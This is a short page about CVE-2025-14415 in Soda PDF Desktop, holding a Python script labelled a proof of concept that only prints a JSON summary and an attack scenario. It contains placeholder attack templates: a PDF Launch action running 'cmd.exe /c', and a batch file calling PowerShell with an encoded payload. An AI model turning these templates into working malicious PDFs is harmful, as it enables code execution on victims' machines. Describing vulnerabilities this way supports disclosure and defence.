CVE-2025-14415

# CVE-2025-14415 PoC - Soda PDF Desktop Launch RCE # This PoC demonstrates the insufficient UI warning in Launch action # Note: This is for educational and security testing purposes only import json def generate_malicious_pdf_poc(): """ Generate a PoC demonstrating the Launch action vulnerability The malicious PDF would contain a Launch action that executes arbitrary commands without proper user warning dialogs """ poc_structure = { "vulnerability": "CVE-2025-14415", "product": "Soda PDF Desktop", "type": "Insufficient UI Warning leading to RCE", "attack_vector": { "method": "Malicious PDF with crafted Launch action", "required_interaction": "User opens malicious PDF file", "execution_context": "Current user privileges" }, "malicious_action": { "action_type": "Launch", "target": "cmd.exe /c <malicious_command>", "warning": "None - executes without user confirmation" }, "impact": [ "Arbitrary code execution", "System compromise", "Data exfiltration", "Malware installation" ] } return json.dumps(poc_structure, indent=2) def generate_attack_scenario(): """ Describe the attack scenario for exploiting this vulnerability """ return """ Attack Scenario: 1. Attacker creates a malicious PDF file with embedded Launch action 2. The Launch action contains a command to execute arbitrary code 3. Victim opens the PDF file with Soda PDF Desktop 4. Soda PDF Desktop processes the Launch action without warning 5. Arbitrary code executes in the context of the victim's session Example malicious Launch action structure: <</S /Launch /F (malicious.bat) /WS /P (/W /H)>> Where malicious.bat contains: @echo off powershell -EncodedCommand <base64_encoded_payload> """ if __name__ == "__main__": print(generate_malicious_pdf_poc()) print("\n" + "="*50) print(generate_attack_scenario())

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